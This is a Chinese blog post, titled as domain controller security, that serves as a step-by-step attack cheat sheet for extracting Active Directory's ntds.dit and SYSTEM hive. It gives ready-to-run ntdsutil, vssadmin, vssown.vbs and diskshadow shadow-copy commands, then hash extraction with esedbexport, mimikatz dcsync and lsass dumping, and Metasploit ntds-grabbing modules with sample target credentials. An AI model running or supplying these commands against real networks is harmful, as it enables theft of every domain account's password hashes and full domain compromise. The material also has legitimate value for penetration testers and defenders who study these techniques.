• 域控制器安全


    域控制器安全

    使用卷影拷贝服务提取ntds.dit

    在活动目录中,所有的数据都保存在ntds.dit中。ntds.dit是一个二进制文件,存储位置为域控制器的%SystemRoot%\ntds\ntds.dit

    ntds.dit文件位置: C:\\Windows\\NTDS\\NTDS.dit
    

    通过ntdsutil.exe提取ntds.dit

    ntdsutil 是一个为活动目录提供管理机制的命令行工具,使用 ntdsutil 可以维护和管理活动目录数据库、控制单个主机操作、创建应用程序目录分区、删除由未使用活动目录安装向导(DCPromo.exe)成功降级的与控制器留下的元数据等。

    该工具默认安装在域控上,使用以下命令创建一个快照,该快照包含 Windows 中的所有文件,且在复制文件时不会受到 Windows 锁定机制的限制。

    创建快照:

    该快照包含windows中的所有文件,且在复制文件时不会受到windows锁定机制的影响

    ntdsutil snapshot "activate instance ntds" create quit quit
    

    注:要以域管理员用户登陆域控

    挂载快照:

    ntdsutil snapshot "mount {b425cef1-c73c-4be5-ad86-522c27a18180}" quit quit
    

    复制ntds.dit:

    copy C:\\$SNAP_202104180958_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit
    

    卸载并删除快照:

    ntdsutil snapshot "unmount {b425cef1-c73c-4be5-ad86-522c27a18180}" "delete {b425cef1-c73c-4be5-ad86-522c27a18180}" quit quit
    

    利用vssadmin提取ntds.dit

    vssadmin 可用于创建和删除卷影拷贝、列出卷影的信息(只能管理系统 Provider 创建的卷影拷贝)、显示已安装的所有卷影拷贝写入程序(writers)和提供程序(providers),以及改变卷影拷贝的存储空间(即所谓的 “diff 空间”)的大小等。

    创建C盘的卷影拷贝:

    vssadmin create shadow /for=c:
    

    在创建的卷影拷贝中将ntds.dit复制出来:

    copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\ntds\ntds.dit c:\\ntds.dit
    

    删除快照:

    vssadmin delete shadows /for=c: /quiet
    

    利用vssown.vbs脚本提取ntds.dit

    vssown.vbs 脚本的功能和 vssadmin 类似,可用于创建和删除卷影拷贝以及启动和停止卷影拷贝服务。

    vssown.vbs 下载地址: https://raw.githubusercontent.com/borigue/ptscripts/master/windows/vssown.vbs

    启动卷影拷贝服务:

    cscript vssown.vbs /start
    

    创建一个 C 盘的卷影拷贝:

    cscript vssown.vbs /create c
    

    列出当前卷影拷贝:

    cscript vssown.vbs /list
    

    复制 ntds.dit:

    copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy14\windows\NTDS\ntds.dit C:\ntds.dit
    

    删除卷影拷贝:

    cscript vssown.vbs /delete {22B93FE6-D53A-4ECA-BD5A-7A2A68203EF8}
    

    IFM

    通过创建一个 IFM 的方式获取 ntds.dit

    在使用 ntdsutil 创建媒体安装集(IFM)时,需要进行生成快照、加载、将 ntds.dit 和计算机的 SAM 文件复制到目标文件夹中等操作,这些操作也可以通过 PowerShell 或 VMI 远程执行。

    使用diskshadow导出ndts.dit

    可以使用diskshadow.exe来执行命令。

    例如,将需要执行的命令“exec c:\windows\system\calc.exe”写入c:\command.txt文件

    echo exec c:\\windows\\system32\\calc.exe \> command.txt
    
    type command.txt
    

    使用diskshadow执行txt中的命令

    diskshadow /s command.txt
    

    diskshadow也可以用来导出ntds.dit,将如下命令写入一个文件中去执行

    //设置卷影拷贝  
    set context persistent nowriters
    
    //添加卷
    
    add volume c: alias someAlias
    
    //创建快照
    
    create
    
    //分配虚拟磁盘盘符
    
    expose %someAlias% z:
    
    //将ntds.dit复制到C盘中
    
    exec "cmd.exe" /c copy z:\\windows\\ntds\\ntds.dit c:\\ntds.dit
    
    //删除所有快照
    
    delete shadows all
    
    //列出系统中的卷影拷贝
    
    list shadows all
    
    //退出
    
    reset
    
    exit
    

    执行如下命令,注意这里需要进入C:\Windows\System32目录下执行,否则会报错

    diskshadow /s C:\\command.txt
    

    导出ntds.dit后,可以将system.hive转储。因为system.hive中存放着ntds.dit 的密钥,所以没有该密钥,将无法查看ntds.dit中的信息

    reg save hklm\\system c:\\windows\\temp\\system.hive
    

    导出ntds.dit中的散列值

    esedbexport

    wget https://github.com/libyal/libesedb/releases/download/20210424/libesedb-experimental-20210424.tar.gz
    tar zxvf libesedb-experimental-20210424.tar.gz
    cd libesedb-20210424
    apt-get install autoconf automake autopoint libtool pkg-config
    ./configure
    make
    make install
    ldconfig
    

    此时表示安装成功

    esedbexport -m tables ntds.dit

    mimikatz

    mimikatz 有个 dcsync 的功能,可以利用卷影拷贝服务直接读取 ntds.dit 文件,不过需要管理员权限。

    导出域内所有用户的用户名和哈希值
    lsadump::dcsync /domain:teamssix.com /all /csv
    
    导出域内指定用户的用户名和哈希值
    lsadump::dcsync /domain:teamssix.com /user:administrator
    
    也可以通过转储 lsass.exe 进行 dump 操作
    privilege::debug
    lsadump::lsa /inject
    

    msf

    msf 里的 psexec_ntdsgrab 可以获取目标的 ntds.dit 和 SYSTEM 并将其保存到 /root/.msf4/loot/ 目录下

    use auxiliary/admin/smb/psexec_ntdsgrab
    set rhosts 192.168.7.7
    set smbdomain teamssix.com
    set smbuser administrator
    set smbpass 1qaz@WSX
    run
    

    除此之外,在获取到会话后,也可以直接用 MSF 提供的模块获取 ntds.dit

    use windows/gather/credentials/domain_hashdump
    set session 1
    run
    
  • 相关阅读:
    泛型编程 --迭代器
    cpp输入输出加速
    算法训练 加法运算(指针的一个测试)
    蓝桥杯-基础练习-字母图形
    蓝桥杯-基础练习-特殊回文数
    win10下稍微美观下Git
    mysql8.0以上版本注册驱动并建立数据库的连接公共代码
    idea使用的一些问题解决记录
    单链表逆转(递归指针实现)
    increment/decrement/dereference操作符
  • 原文地址:https://www.cnblogs.com/karsa/p/16070576.html
Copyright © 2020-2023  润新知